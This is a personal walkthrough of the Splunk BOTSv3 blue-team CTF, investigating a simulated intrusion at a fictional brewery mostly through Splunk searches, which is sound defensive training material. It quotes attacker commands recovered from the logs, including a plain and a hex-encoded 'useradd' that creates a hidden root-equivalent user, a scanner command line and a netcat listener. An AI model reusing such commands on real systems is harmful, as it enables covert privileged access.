Splunk BOTSv3 Write-Up


Splunk have several “Boss of the SOC” datasets, simulating a security incident - think of it as a Blue Team/SIEM-based CTF. This is my write-up for BOTSv3, at the time of writing the most recent dataset available. It seems that Taedonggang, a North Korean group, have attacked Frothly, a beer maker…

The official BOTSv3 page is here:

I wrote this on Notion, and it is best viewed there, as it is always up-to-date and is visually best. See it here:

Or available as a PDF:

  • I used the downloadable BOTS VM from CyberDefenders - Much easier than installing it all manually!
  • As the dataset only includes the BOTSv3 data, all searches have index=botsv3 omitted.
  • Answers are not hidden. I think the process is more important than finding the correct answer, in this case.
  • After completing the questions and this writeup, I went back to do some more discovery. These are found in the Bonus sections of related questions.

| eventcount index=botsv3: 2,030,269 events

index=botsv3: 2,798,824 events

Date: 20th August 2018

Time: Most between 0900 and 1600

30 hosts

  • hoth
  • serverless
  • matar
  • BTUN-L
  • gacrux.i-06fea586f3d3c8ce8
  • gacrux.i-0920036c8ca91e501
  • gacrux.i-09cbc261e84259b54
  • gacrux.i-0cc93bade2b3cba63
  • mars.i-08e52f8b5a034012d
  • ip-172-16-0-109.ec2.internal
  • ip-172-16-0-127
  • ip-172-16-0-13
  • ip-172-16-0-145
  • ip-172-16-0-178
  • ip-172-31-12-76
  • ip-172-31-36-235
  • SEPM
  • ntesla (2 events, connection to
  • (1 event, error about Splunk)

107 sourcetypes

  • access_combined
  • alternatives
  • amazon-ssm-agent
  • amazon-ssm-agent-too_small
  • apache_error
  • aws:cloudtrail
  • aws:cloudwatch
  • aws:cloudwatch:guardduty
  • aws:cloudwatchlogs
  • aws:cloudwatchlogs:vpcflow
  • aws:config:rule
  • aws:description
  • aws:elb:accesslogs
  • aws:rds:audit
  • aws:rds:error
  • aws:s3:accesslogs
  • bandwidth
  • bash_history
  • bootstrap
  • cisco:asa
  • cloud-init
  • cloud-init-output
  • code42:api
  • code42:computer
  • code42:org
  • code42:security
  • code42:user
  • config_file
  • cpu
  • cron-too_small
  • df
  • dmesg
  • dpkg
  • error-too_small
  • errors
  • errors-too_small
  • ess_content_importer
  • hardware
  • history-2
  • interfaces
  • iostat
  • lastlog
  • linux_audit
  • linux_secure
  • localhost-5
  • lsof
  • maillog-too_small
  • ms:aad:audit
  • ms:aad:signin
  • ms:o365:management
  • ms:o365:reporting:messagetrace
  • netstat
  • o365:management:activity
  • openports
  • osquery:info
  • osquery:results
  • osquery:warning
  • out-3
  • package
  • perfmonmk:process
  • protocol
  • ps
  • script:getendpointinfo
  • script:installedapps
  • script:listeningports
  • stream:arp
  • stream:dhcp
  • stream:dns
  • stream:http
  • stream:icmp
  • stream:igmp
  • stream:ip
  • stream:mysql
  • stream:smb
  • stream:smtp
  • stream:tcp
  • stream:udp
  • symantec:ep:agent:file
  • symantec:ep:agt_system:file
  • symantec:ep:behavior:file
  • symantec:ep:packet:file
  • symantec:ep:risk:file
  • symantec:ep:scm_system:file
  • symantec:ep:security:file
  • symantec:ep:traffic:file
  • syslog
  • time
  • top
  • unix:listeningports
  • unix:service
  • unix:sshdconfig
  • unix:update
  • unix:uptime
  • unix:useraccounts
  • unix:version
  • userswithloginprivs
  • vmstat
  • who
  • wineventlog
  • winhostmon
  • xmlwineventlog:microsoft-windows-sysmon/operational
  • yum-too_small

Understanding what’s what:

| tstats values(sourcetype) by host
| tstats values(host) by sourcetype

| tstats count by host sourcetype | sort host -count
| tstats count by sourcetype host | sort sourcetype -count


  • XXX-L are Windows endpoints
    • ABUNGST-L = = AzureAD\AlBungstein =
  • gacrux.i-XXX are Linux web (Apache) servers
    • gacrux.i-0920036c8ca91e501 more stream:mysql than others
  • mars.i-08e52f8b5a034012d is Linux DNS/name server?
  • matar is the mail server?
    • Only host with stream:smtp
  • hoth is Linux DC?
    • Has several sourcetypes no other host has

Limited-purpose hosts:

  • ip-172-16-0-109.ec2.internal: AWS-related stream:XXX
  • serverless: AWS
  • AWS and Microsoft
  • ip-172-31-36-235: ms:o365:management
  • sepm: symantec (Symantec Endpoint Protection Management)
  • frothly-fw1: cisco:awa
  •, ip-172-16-0-XXX, ip-172-31-12-76 are cisconvmflow:syslog
    • but hoth has more than all of them; ip-XXX have very few
  • code42
  1. Search key phrases to find sources or sourcetypes
  2. Check fields for relevant information
sourcetype="*aws*" *IAM*

Check fields. There’s a user_type field in aws:cloudtrail with an option for IAMUser:

sourcetype="aws:cloudtrail" user_type="IAMUser"

Then check the userName field for unique users.


sourcetype="*aws*" *MFA*

Looking through the events to see where MFA is mentioned, and you find the field name.


More info:

Common processors are Intel and AMD, so check those first.

(intel OR amd)

This gives over 3000 events. Looking at the sourcetypes to see what stands out, there’s hardware (3 events) and osquery:results (4 events)

Check hardware:

sourcetype="hardware" (intel OR amd)

CPU_TYPE Intel(R) Xeon(R) CPU E5-2676 v3 @ 2.40GHz for hosts: gacrux.i-06fea586f3d3c8ce8, gacrux.i-09cbc261e84259b54, gacrux.i-0cc93bade2b3cba63

Check osquery:results:

sourcetype="osquery:results" (intel OR amd)

cpu_brand: Intel(R) Xeon(R) CPU E5-2676 v3 @ 2.40GHz for hosts gacrux.i-06fea586f3d3c8ce8, gacrux.i-0cc93bade2b3cba63

I think we have the answer, but let’s check that those hosts web servers:

host="gacrux.i-06fea586f3d3c8ce8" OR host="gacrux.i-09cbc261e84259b54"
  OR host="gacrux.i-0cc93bade2b3cba63"

The most common process is httpd, and stream:http has server: Apache/2.2.34 (Amazon). Looks good.


Searching AWS docs for ACLs we find It mentions the PutBucketAcl event is for changing access, and the AllUsers value is for public access:

sourcetype="aws:cloudtrail" eventName="PutBucketAcl" AllUsers


Time = 13:01:46

Same as previous question


We know the sourcetype, bucket name, and when it was made public. “While it was” suggests it was later made publicly inaccessible, suggesting at least two PutBucketAcl events - making it public, then making it private:

sourcetype="aws:cloudtrail" eventName="PutBucketAcl"

2 events, one allowing public access (13:01:46), one stopping (13:57:54). Looking between these times for a text file:

sourcetype="aws:cloudtrail" earliest="8/20/2018:13:01:46" latest="08/20/2018:13:57:54"
  "requestParameters.bucketName"="frothlywebcode" *.txt

Gives nothing. So let’s branch out - all AWS sourcetypes, and any mention of frothlywebcode:

sourcetype="*aws*" earliest="08/20/2018:13:01:46" latest="08/20/2018:13:57:54"
  frothlywebcode *.txt

3 events. It was uploaded, and if we check the operation field and there’s 1 aws:s3:accesslogs event for PUT.

  earliest="08/20/2018:13:01:46" latest="08/20/2018:13:57:54"
  frothlywebcode *.txt operation="REST.PUT.OBJECT"


Time = 13:02:44

As before, but a .tar.gz file. Only 1 event.

  earliest="08/20/2018:13:01:46" latest="08/20/2018:13:57:54"
  frothlywebcode *.tar.gz operation="REST.PUT.OBJECT"

Then use Splunk functions to convert it to MB

  earliest="08/20/2018:13:01:46" latest="08/20/2018:13:57:54"
  frothlywebcode *.tar.gz operation="REST.PUT.OBJECT"
| eval size_mb = round(object_size/1024/1024,2)
| table key size_mb


Filename (key) = frothly_html_memcached.tar.gz

Time = 13:04:17


A few fields jump out. cpu_load_percent, cpu_user_percent, pctCPU, and process_cpu_used_percent. Try all of these with 100:

cpu_load_percent=100 OR cpu_user_percent=100
  OR pctCPU=100 OR process_cpu_used_percent=100

The source/sourcetype PerfmonMk:Process has some events and also mentions processes:

sourcetype="PerfmonMk:Process" process_cpu_used_percent=100
| reverse

The first event is Edge, at 09:36:26. At 13:37:50 and 13:38:20 there are 2 events for chrome#5, then 129 100% events for chrome#4, only finishing at 14:04:11 when MsMpEng.exe kicks in, which is part of Windows Defender. My feeling is Edge is unrelated to the mining.


Time = 13:37:50


ec2 packages

1232 events. Most are for sourcetype lsof, which isn’t helpful. The other two, cloud-init and osquery:results also do not seem to have useful information. However, cloud-init sounds promising (as we’re looking for cloud initialisation scripts), and there’s a similar sourcetype, cloud-init-output:

sourcetype="cloud-init-output" packages

There’s only 6 events, and manually looking through we find the answer.

7 (13)

Times = 13:33:24 (host = gacrux.i-0cc93bade2b3cba63), 14:23:19 (host = gacrux.i-06fea586f3d3c8ce8), 14:25:21 (host = gacrux.i-09cbc261e84259b54)

Q208 suggests it was mining using Chrome, so Google for phrases similar to “popular monero coin miner web browser” and we find several mentions to Coinhive.


34 events, across 3 hosts. Most are DNS events, and most are for BSTOLL-L, which had 100% CPU in the previous answer - the others are MKRAEUS-L and

It seems has cisconvmflowdata events relating to BudStoll, so we’re down to two hosts, with BSTOLL-L the most likely.

Comparing BSTOLL-L and MKRAEUS-L, and looking at DNS events relating to the Coinhive servers, the latter only has DNS responses, whereas the former has DNS queries also. Everything is pointing to one answer.


Based on the previous question findings:

host="BSTOLL-L" source="stream:dns" coinhive
| stats dc(query)

# OR

source="cisconvmflowdata" coinhive
| stats dc(dh)


DNS queries to: coinhive[.]com (2x), ws001.coinhive[.]com, ws005.coinhive[.]com, ws011.coinhive[.]com, ws014.coinhive[.]com, ws019.coinhive[.]com

Times = 13:37:33 ~ 13:39:20

We know the host SEPM has all the SEP data, and we’re looking for a signature.

host="SEPM" *signature*

53 events. There are fields CIDS_Signature_ID and CIDS_Signature_String. The IDs are 30356 and 30358, for JSCoinMiner 6 and JSCoinMiner 8 respectively.

Search all events with CIDS_Signature_ID, and find the first one.

host="SEPM" CIDS_Signature_ID=*
| stats first(CIDS_Signature_ID)


Events = 46 (23x JSCoinMiner 6, 23x JSCoinMiner 8)

Time = 13:37:40 ~ 13:46:47

Google the phrase “Symantec “Web Attack: JSCoinminer””

Attack Signature Detail Page


As Q212. The assumption is Symantec finding the thread is defeating it. Check the fields, there is only a single Host_Name


The endpoints all have Windows logs, so let’s see if at least one endpoint is running Windows 10:

"windows 10"

It seems there is a source called “operatingsystem” - useful.

| stats values(host) by os

So what’s his FQDM? Windows logs will probably help:

host="BSTOLL-L" sourcetype="wineventlog"

And this gives us ComputerName, which is the FQDN.


"windows 10"

cisconvmsysdata also has 11 events:

source="cisconvmsysdata" "windows 10"

Having a look there are fields ose with operating system and vsn with the user’s FQDM:

| stats values(vsn) by ose

From Q210:

source="cisconvmflowdata" coinhive

There are a few fields that look interesting, especially fes, fet, fss, fst. It seems these stand for flow end seconds, flow end time, flow start seconds, flow start time.

Using some built-in Splunk commands, we can work out the time taken:

source="cisconvmflowdata" coinhive
| stats min(fss) as starttime, max(fes) as endtime
| eval timetaken = endtime-starttime
| table timetaken


Although the answers say 1666…

Times = 13:37:51 ~ 14:05:23

It’s an email, so to start with stream:smtp with “Bud”:

sourcetype="stream:smtp" bud

Checking the sender field gives us his email, so replace the search term with that"

sourcetype="stream:smtp" sender="Bud Stoll <>"

11 events. Perhaps he mentioned “Splunk” in content of the email:

sourcetype="stream:smtp" sender="Bud Stoll <>" content{}="*splunk*"

1 result. There are two attachments, image002.jpg and image003.jpg. Both are base64 encoded, the encoded text being with the content field. Decode them using





This is the one we’re looking for.

column chart

Time = 13:56:27

Email date = 15/9/2018 02:44:24

Use the same base IAMUser search we used in Q200, but filter out successful events:

sourcetype="aws:cloudtrail" user_type="IAMUser" errorCode!="success"

1040 events. This is all IAMUser user_type errors, but the question wants errors when they are “attempting to access IAM resources”. There is an eventSource field, with ec2, s3, and iam as options. We want iam.

sourcetype="aws:cloudtrail" user_type="IAMUser" errorCode!="success"

17 events. Looking at the events and fields, the user access key is userIdentity.accessKeyId, and there are 2 unique errorCode values and 6 unique errorMessage values.

Use Splunk’s stats to find the key with most unique errorCode events:

sourcetype="aws:cloudtrail" user_type="IAMUser" errorCode!="success"
| stats dc(errorCode) as errors by userIdentity.accessKeyId
| sort -errors

But they all have 1 each. No winner. Try errorMessage:

sourcetype="aws:cloudtrail" user_type="IAMUser" errorCode!="success"
| stats dc(errorMessage) as errors by userIdentity.accessKeyId
| sort -errors


Times = 09:16:12 ~ 09:27:07 (for above key)

Events = ListAccessKeys, CreateAccessKey, CreateUser, DeleteAccessKey, GetUser

Source IPs = (x4),,

User Agents = Boto3 Linux (x4), Boto3 Windows, ElasticWolf

aws support case

4 events. One is an email from Amazon with case ID. Easy!


Time = 09:16:55

The email message from Q219 has a link to a Github repo stating the key was found there. So check the Github link. Also easy!



IAM user = web_admin

Search AWS logs for that key:

sourcetype="*aws*" userIdentity.accessKeyId="AKIAJOGCDXJ5NW5PXUPA"

9 events. aws:cloudtrail has an eventName field for creating keys:

sourcetype="ws:cloudtrail" userIdentity.accessKeyId="AKIAJOGCDXJ5NW5PXUPA"

1 event. Check the userIdentity.userName (or user)


Time = 09:16:12

Based on the previous search, but change the eventName to one for describing accounts, then check the UserAgent:

sourcetype="aws:cloudtrail" userIdentity.accessKeyId="AKIAJOGCDXJ5NW5PXUPA"


Time = 09:27:06

(AKIAJOGCDXJ5NW5PXUPA OR web_admin) ubuntu

Nothing. Let’s just search for the key or username and see what comes up:


672 events, 661 are aws:cloudtrail as Q222. There’s an eventName field with a RunInstances value, which looks promising:

sourcetype="aws:cloudtrail" eventName="RunInstances"
| reverse

576 events, although no mention of operating systems. However, there is a field requestParameters.instancesSet.items{}.imageId with 15 unique values. The value in the first event is ami-41e0b93b. AMI is Amazon Machine Image.

Googling this phrase takes us to, which states this AMI relates to “Ubuntu 16.04 xenial”.

There’s also a link to - “Ubuntu 16.04 Xenial”

It also seems possible to get this information using the AWS CLI:

> aws ec2 describe-images --image-id ami-41e0b93b --region us-east-1

Which gives us “Ubuntu 16.04 Xenial”.

Googling this phrase tells us the full name is “Xenial Xerus”

Xenial Xerus

Time = 09:16:22

Source IP =

sourcetype="*aws*" dns

The source lambda:DNS seems to give the URLs, but there are >115,000 of them.

Using Splunk’s field extractor, delimiting with spaces, the full URL can be turned into a field (I called it ldns_url).

Now we can use the URL Toolbox Splunk app to split the ldns_urls into individual parts:

| eval list="brewertalk" 
| `ut_parse_extended(ldns_url,list)`

This gives us new fields. ut_subdomain_level_1 is needed for this question, so remove duplicates, evaluate the length, and then take the average using stats:

| eval list="brewertalk" 
| `ut_parse_extended(ldns_url,list)`
| dedup ut_subdomain_level_1
| eval length=len(ut_subdomain_level_1)
| stats avg(length) as avglength


Doing some research on memcached attacks, I found an article by Cloudflare which mentions one of the main ways to stop it is to disable UDP. That could be a good place to start.


157,000 events, although first (chronologically most recent) result looks interesting:

dest_content: $VALUE injected 0 50000 6HOUL@G3RpwnzFrothyl4Life6HOUL@G3RpwnzFrothyl4Life6HOUL@G3RpwnzFrothyl4Life[...]
src_content: get injected

6HOUL@G3RpwnzFrothyl4Life is repeated 437 times in the above dest_content. There are 3 events featuring this phrase in a repeated fashion, and 6 similar ones with the phrase CRYP70KOL5CH-OWNS-YOU.

| table _time src_content dest_content
| reverse

Who/what is 6HOUL@G3R and CRYP70KOL5CH? Googling turns up various sites, such as and, which look like they’ve also been defaced. Check the image name they’ve been defaced with.


Found web pages also mention “74L15M4N@L”, although nothing in BOTSv3 dataset matching this.

As an aside, Taedonggang is a North Korean beer.

Times = 15:11:35 ~ 15:27:09


The sourcetypes o365:management:activity and ms:o365:management look interesting:

(sourcetype="ms:o365:management" OR sourcetype="o365:management:activity")

22 events. All have a dvc (device?) and a Workload of OneDrive, so replace the search with the field.

(sourcetype="ms:o365:management" OR sourcetype="o365:management:activity")

1658 events. Checking the fields again, there is an operation with FileUploaded.

(sourcetype="ms:o365:management" OR sourcetype="o365:management:activity")
  Workload=OneDrive Operation=FileUploaded

14 events, 7 for each sourcetype. A quick check shows they’re duplicates, so remove one of the sourcetypes.

sourcetype="ms:o365:management" Workload="OneDrive" Operation="FileUploaded"

Checking fields again, there are a couple that give filenames - object, SourceFileName. There are 7 unique filenames. Using a table with some fields that might help, we notice four uploads from the same source/user, three images and one .lnk, with a UserAgent relating to North Korea (ko-KP is the North Korean language, and Naenara (내나라) is the North Korean intranet)

sourcetype="ms:o365:management" Workload="OneDrive" Operation="FileUploaded"
| table _time src_ip user object UserAgent
| reverse

Mozilla/5.0 (X11; U; Linux i686; ko-KP; rv: 19.1br) Gecko/20130508 Fedora/ 3.0 NaenaraBrowser/3.5b4

Time = 09:57:17 (x3), 09:57:33

Source IP =

User -

Files = stout.png, stout-2.png, morebeer.jpg, BRUCE BIRTHDAY HAPPY HOUR PICS.lnk


13 events. Checking the sourcetypes, there’s one from ms:aad:signin, which makes sense for logins.

sourcetype="ms:aad:signin" expired 

1 event:

failureReason: Invalid password, entered expired password.
userDisplayName: Kevin Lagerfield
signinDateTime: 2018-08-20T11:43:14.7994359Z

Now to check if this is the correct one. Let’s look at all Kevin’s (name or email) MS Azure AD events (there are two sourcetypes, ms:aad:signin and ms:aad:audit), let’s see if there is anything to suggest the account has expired, and to see if there were there successful logins after.

sourcetype="ms:aad:*" (*Kevin* OR *Lagerfield*)
| reverse

19 events, giving us a timeline. Here’s a summary

activity: Update user
activityDate: 2018-08-20T11:24:28.7368822Z
   name: AccountEnabled
   newValue: [true]
   oldValue: [false]

activity: Reset user password
activityDate: 2018-08-20T11:41:36.4906486Z

signinDateTime: 2018-08-20T11:42:37.0910791Z
failureReason: Invalid username or password or Invalid on-premise username or password.

activity: Reset user password
activityDate: 2018-08-20T11:42:51.0513891Z

# initial event
signinDateTime: 2018-08-20T11:43:14.7994359Z
failureReason: Invalid password, entered expired password.

activity: Change user password
activityDate: 2018-08-20T11:43:22.5565538Z

activity: Change password (self-service)
activityDate: 2018-08-20T11:43:22.5596423Z

All very interesting.


19 events. One of them is an email, with the following content:

content_body: Here is a financial model we can use for FY2019 planning. For the worksheet to operate properly, you will need to enable macros. Thanks,Bruce

attach_filename: Malware Alert Text.txt

Somehow I doubt that was the original attachment name. A quick Google found

Office 365 Advanced Threat Protection (ATP)

If an attachment is deemed unsafe and removed, 
the system will substitute a text file named “Malware Alert Text.txt”

What is the txt file? It is base64 encoded in the email content, so decode that with Cyberchef:

Malware was detected in one or more attachments included with this email message. 
Action: All attachments have been removed.
Frothly-Brewery-Financial-Planning-FY2019-Draft.xlsm	 W97M.Empstage

What is “W97M.Empstage”? Google and the first result is a Symantec page, but it’s a forum thread with no info:

The next result is titled “W97M.Empstage Technical Details | Symantec” with the date on Google Nov 12, 2016. However, if you follow that link it redirects you to, which is Norton’s Colombian website.

But apparently that’s the correct link. Because Symantec acquired Norton, and Broadcom acquired Symantec (the latter happening after BOTSv3 was made).

As for why Colombia, no idea.

So… Yeah. The answer is 11/11/2016. Presumably the day before Google found it.


Linux uses “adduser” or “useradd” to create a new user, so start with that.

(adduser OR useradd)

2896 events. Looking at the sources, /var/log/auth.log has a single event:

source="/var/log/auth.log" (adduser OR useradd)

There is a useradd for user tomcat7. Let’s look into tomcat7 with root a.k.a. uid 0.

tomcat (root OR uid=0)

7 events. One event from osquery:results:

action: added
calendarTime: Mon Aug 20 11:24:54 2018 UTC
cmdline: "useradd" "-ou" "tomcat7" "-p" "ilovedavidverve" "0" "-g" "0" "-M" "-N" "-r" "-s" "/bin/bash"
decorations:username: root


Time = 11:24:54


There are actually two osquery:results events for tomcat7:

tomcat7 sourcetype="osquery:results"

The first is above; the second is:

action: added
calendarTime: Mon Aug 20 11:08:05 2018 UTC
cmdline: "useradd" "-ou" "tomcat7" "-p" "" "0" "-g" "0" "-M" "-N" "-r" "-s" "/bin/bash"
decorations:username: tomcat8

We’ll see more of tomcat8 in a later question, although while we’re here:

sourcetype="osquery:results" "decorations.username"=tomcat8
| table _time columns.cmdline
| reverse

There are four commands, each in the following pair form:

1st event: "/bin/bash" "-c" 75736572616464202D6F752030202D672030202D4D202D4E202D72202D73202F62696E2F626173682020746F6D63617437202D7020646176696476657276652E636F6D

2nd event: "useradd" "-ou" "tomcat7" "-p" "" "0" "-g" "0" "-M" "-N" "-r" "-s" "/bin/bash"

The second event is the first string decoded from hex. The other decoded/raw commands are:

  • "uname" "-a"

  • "/usr/bin/python3" "-Es" "/usr/bin/lsb_release" "-a"

  • "dpkg-query" "-f" "lsb-printing" "lsb-security" 247B56657273696F6E7D20247B50726F76696465737D0A "-W" "lsb-core" "lsb-cxx" "lsb-graphics" "lsb-desktop" "lsb-languages" "lsb-multimedia"

    247B56657273696F6E7D20247B50726F76696465737D0A${Version} ${Provides}

It seems the endpoints are Windows (Q215, and others). New users are recorded as event 4720.


1 event.


Time = 10:08:17


Leet is 1337:


17,331 events. Check available fields for “port” to see if there are any. There are a few with 1337 values, including Port (1 event), columns.port (1 event), and dest_port (7 events). They all provide the answer, although they individually provide different information.

Port=1337 OR dest_port=1337 OR columns.port=1337
| reverse


Times = 11:31:54 ~ 11:55:34

Process = netcat

Username = klagerfield

We know Frothly use Microsoft Office 365, and there’s an Exchange Workload. We’re looking for a search query:

sourcetype="ms:o365:management" Workload="Exchange" *query*

1 event.

cromdale OR beer OR financial OR secret

Source =

Time = 10:48:28

We know the host, and Sysmon includes MD5s, so that’s a good place to start:

host="FYODOR-L" source="WinEventLog:Microsoft-Windows-Sysmon/Operational"

4126 events. If the file was used, it means a process was created. This is EventCode 1:

host="FYODOR-L" source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1

158 events. There are 38 Images. Let’s see if any look suspicious:

host="FYODOR-L" source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| stats count by Image

Two interesting files are in a Temp folder, C:\Windows\Temp\unziped\lsof-master\iexeplorer.exe and C:\Windows\Temp\hdoor.exe. Which does the scan?

host="FYODOR-L" source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| reverse

35 events. hdoor.exe is run first, once, then iexeplorer.exe is the other 34 events. The CommandLine for hdoor.exe is:

> "C:\windows\temp\hdoor.exe" -hbs /b /m /n

That looks like a scan to me. And the event has the MD5.


Time (hdoor.exe scan) = 10:43:10

Q304 gave us the username svcvnc:


15 events. The EventCode for adding a user to a group is 4732:

svcvnc EventCode=4732

2 events, one for each group.


Time = 10:08:17 & 10:08:35

Account disabled is EventCode 4725, but that gives nothing. However, from Q301 we found an AccountEnabled value within ms:aad:audit (which, in that question, was changed from false to true):

sourcetype="ms:aad:audit" AccountEnabled

3 events. Add a table to find out see which is the one we’re interested in, and the answers. For clarity, replace AccountEnabled with the full field, and add the old and new values..

| table targets{}.userPrincipalName actor.userPrincipalName

Time = 14:47:12

It’s an email so start with stream:smtp, and we know there is an attachment so include file_name:

sourcetype="stream:smtp" file_name=*

11 events. There are 7 unique file_names. Most are images with generic names, but pwned.jpg and Malware Alert Text.txt look interesting. We saw the text file earlier in Q304… But first let’s look at pwned.jpg. Looking at the email content_body (message), it doesn’t seem like anything abnormal. Let’s decode the pwned.jpg using anyway.



So, the text file. We found in Q304 it relates to Frothly-Brewery-Financial-Planning-FY2019-Draft.xlsm. Oh, that’s the answer.


Time = 09:55:14


Nothing. Go broader - try only the file extension:


5 events. Three are for a different .xls file; the other two have Frothly-Brewery-Financial-Planning-FY2019-Draft[66].xlsm. Replace our search with that to see the 2 events.


The first is a WinEventLog:Application event for SourceName=Symantec AntiVirus:

Security Risk Found! W97M.Empstage in File: C:\Users\BruceGist\AppData\Local\Packages\
Frothly-Brewery-Financial-Planning-FY2019-Draft[66].xlsm by: Auto-Protect scan.  
Action: Cleaned by Deletion.  Action Description: The file was deleted successfully.

Time = 09:56:39

The other is a Sysmon event. with an Image of C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.10228.20127.0_x64__8wekyb3d8bbwe\HxTsr.exe

Time = 09:55:52



According to

“HxTsr.exe (Hidden Executable To Sync Remote Servers) is a legitimate file that can be found in Microsoft Windows Operating Systems. This file/process is part of Microsoft Outlook, a MS Office product, however, its name might be used by cyber criminals to disguise their malicious programs. Therefore, a file with this name could be detected as a threat by virus detection engines.”

However, doing more research from the dataset, I can’t see anything particularly malicious. For example, looking at Cisco NVM Flow Data:

source="cisconvmflowdata" pn="HxTsr.exe"
| table _time liuidp ppn da dh
| iplocation da
| reverse

All 237 events are started by svchost.exe, and every IP/connection looks to be to a valid Microsoft domain (Outlook, Skype, Office, etc).

From Q300, the malicious link file was BRUCE BIRTHDAY HAPPY HOUR PICS.lnk:


67 events. There are three families of sourcetypes - ms:o365:XXX (48), [xml]winevenlog (16), symantec:XXX (3). From before, we found the Operation field, part of ms:o365:management, can be useful. One value looks promising:

"BRUCE BIRTHDAY HAPPY HOUR PICS.lnk" Operation="AnonymousLinkUsed"

22 events. Check the IP fields, and there is ClientIP and src_ip, each with 7 unique values.


Time = 09:59:04 ~ 11:28:30

It’s likely a rare port was used, so first check those. UDP isn’t really used for transferring files, so limit it to TCP:

| rare dest_port

There are a few; port 3333 and 50504 only have 1 connection each. Let’s see what they are for:


2 events. The first is stream:tcp, the second is stream:http. The latter is GETing /images/logos.png - and the http_user_agent is PowerShell. Suspicious.

A quick check shows 50504 is an internal connection, so we’ll ignore that.


Time = 10:47:16

IP =



2991 events. However, most are sourcetypes lsof and ps. wineventlog has only 18 events, so let’s see what they are.

*/tmp/* sourcetype="wineventlog"

It seems that PowerShell is being used 9 times to execute the malicious iexeplorer.exe file (Q307), and the command lines look suspicious.

*/tmp/* sourcetype="wineventlog"
| dedup Process_Command_Line
| table _time Process_Command_Line
| reverse

First a string is echo’d to /tmp/colonel, then another to /tmp/


Time = 11:08:36 & 11:08:48

Note files also referenced on oquery:results.



I don’t know who the domain admin is, but most executables are .exes:


232k events. Most are cisconvmflowdata, so let’s filter those down to processes:

*.exe source="cisconvmflowdata"
| dedup pn
| table _time sa da ds ppa pap liuidp ppn pn
| reverse

60 events. Abnormal processes, in chronological order, include hdoor.exe, iexeplorer.exe and HxTsr.exe. hdoor.exe is from, which is the host hoth, time = 10:44:07.

Another large source is Sysmon. Again, filter to processes:

*.exe source="WinEventLog:Microsoft-Windows-Sysmon/Operational"
| dedup Image
| table _time Image Computer User SourceIp DestinationIp
| reverse

162 events. However, most don’t have connections. Filter to only those with connections:

*.exe source="WinEventLog:Microsoft-Windows-Sysmon/Operational" SourceIp=*
| dedup Image
| table _time Image Computer User SourceIp DestinationIp
| reverse

12 events. Most are normal (Chrome, ssh, putty, Dropbox), although again, chronologically, we have hdoor.exe and iexeplorer.exe. hdoor.exe is from the same IP/host, time = 10:44:05.

Doing a bit more research on hdoor.exe:

| reverse

It looks like, at 10:43:10, Powershell was used to download the file and then run it (see Q307).


Domain Admin = FYODOR-L

The web servers are called gacruz.i-XXX, and are Linux. There’s a linux_secure sourcetype:

host="gacrux.i-*" sourcetype="linux_secure"

128 events. We don’t want the attacks coming from the local machines, so remove them:

host="gacrux.i-*" sourcetype="linux_secure" NOT src="*.i-*"

8 events. Ignoring two outliers, there are 3 groups of “invalid user” with generic usernames followed by “connection closed” from the same IP within 1 minute.

host="gacrux.i-*" sourcetype="linux_secure" NOT src="*.i-*"
| top src
| iplocation src


IP =

Time = 15:07:22 ~ 15:08:12

From Q306 we know they use Microsoft Office 365 Exchange for emails. We’re looking for BCC a.k.a. Blind Carbon Copy

sourcetype="ms:o365:management" Workload="Exchange" (*bcc* OR *blind* OR *copy*)

1 event. Blind exists in "Parameters{}.Name"=BlindCopyTo


Time = 11:21:40

BCC to = [ → Naver is Korean, and 현기 could be a Korean name.

From Q304, the new user is svcvnc:


15 events. Check the CommandLine arguments.


sourcetype="stream:smtp" "grace hoppy"

45 events. Replace the search with the receiver field:

sourcetype="stream:smtp" "receiver_email{}"=""

25 events. Looking at the list of senders, we seen the Naver address from Q319.

  "receiver_email{}"="" sender_email=""

1 event. The subject is “All your datas belong to us”. The content is base64 encoded, so decode it:


We brought your data and imported it: 

Also, you should not be too hard Bruce. He good man

Going to the Pastebin, we can count our answer.


Time = 15:15:00

We know the compromised host, and we know from previous questions they used PowerShell. Often malicious PowerShell commands are base64 encoded, and hence the command will include “FromBase64String”

host="FYODOR-L" FromBase64String

22 events. Looking through we quickly see WinEventLog:Microsoft-Windows-PowerShell/Operational has the most useful information. Looking through the Message (the PowerShell command), you find it’s obfuscated, but includes in base64 encoding and 3 unique URLs: /admin/get.php (2x), /news.php (2x), /login/process.php


Times = 10:01:44, 10:07:07, 10:11:02, 10:15:28, 11:32:14

We know the C2 URI.


3 events, over 2 hosts.


Where does Al send his email from? First, what’s his email address:

"Al Bungstein"

Looks like it’s Do a general search instead of a field value search to capture all sources and sourcetypes:


93 events. A couple interesting fields include src and FromIP, from s:o365:reporting:messagetrace. They have the same values, with the top IP being An online IP lookup gives us our answer.

Verizon Wireless

First, create fields for the indextime and time, in a unified format. Next, convert them both to epoch time. From there, calculate the difference for each pair, find the max, and convert it to minutes.

| eval indextime=strftime(_indextime,"%Y/%m/%d %H:%M:%S")
| eval time=strftime(_time,"%Y/%m/%d %H:%M:%S")
| eval indextime_epoch=strptime(indextime,"%Y/%m/%d %H:%M:%S")
| eval time_epoch=strptime(time, "%Y/%m/%d %H:%M:%S")
| eval diff=indextime_epoch-time_epoch
| stats max(diff) as max_lag
| eval minutes=max_lag / 60


First, who is Mallory?


Gives us Mallory Kraeusen ( Check her emails first, maybe she mentioned it there.

sourcetype="stream:smtp" sender_email=""
| table _time content_body{}

11 events, but nothing useful. If we search all variations of her name, we get almost 10,000 events!

(Mallory OR Kraeusen OR OR MalloryKraeusen OR MKraeusen)

Adding keywords might help:

(Mallory OR Kraeusen OR OR MalloryKraeusen OR MKraeusen)
  AND (*advert* OR *research*)

34 events. Scrolling through we find a file BA_Advertising_Code_Overview.pdf mentioned in a half of the events (17). None of the logs include the file, but it looks like she downloaded it with Chrome, suggesting it’s available online. Google the name and it’s available at


Starting with just tomcat8 gives us 380k events, but most are from unimportant sourcetypes, so remove them:

tomcat8 AND NOT (source="lsof" OR source="ps" OR source="top" OR source="package")

276 events. Most are osquery:results, with only 20 Unix:XXX sources. A quick check of the latter gives nothing helpful, so limit to the former:

sourcetype="osquery:results" tomcat8

256 events. Looking through the fields, there are two columns.uid (user ID) values - 244 events for uid=111 and 12 events for uid=0. 0 is root, and presumably 111 is tomcat8. Likewise for decorations.username, with 244 for tomcat8 and 12 for root.

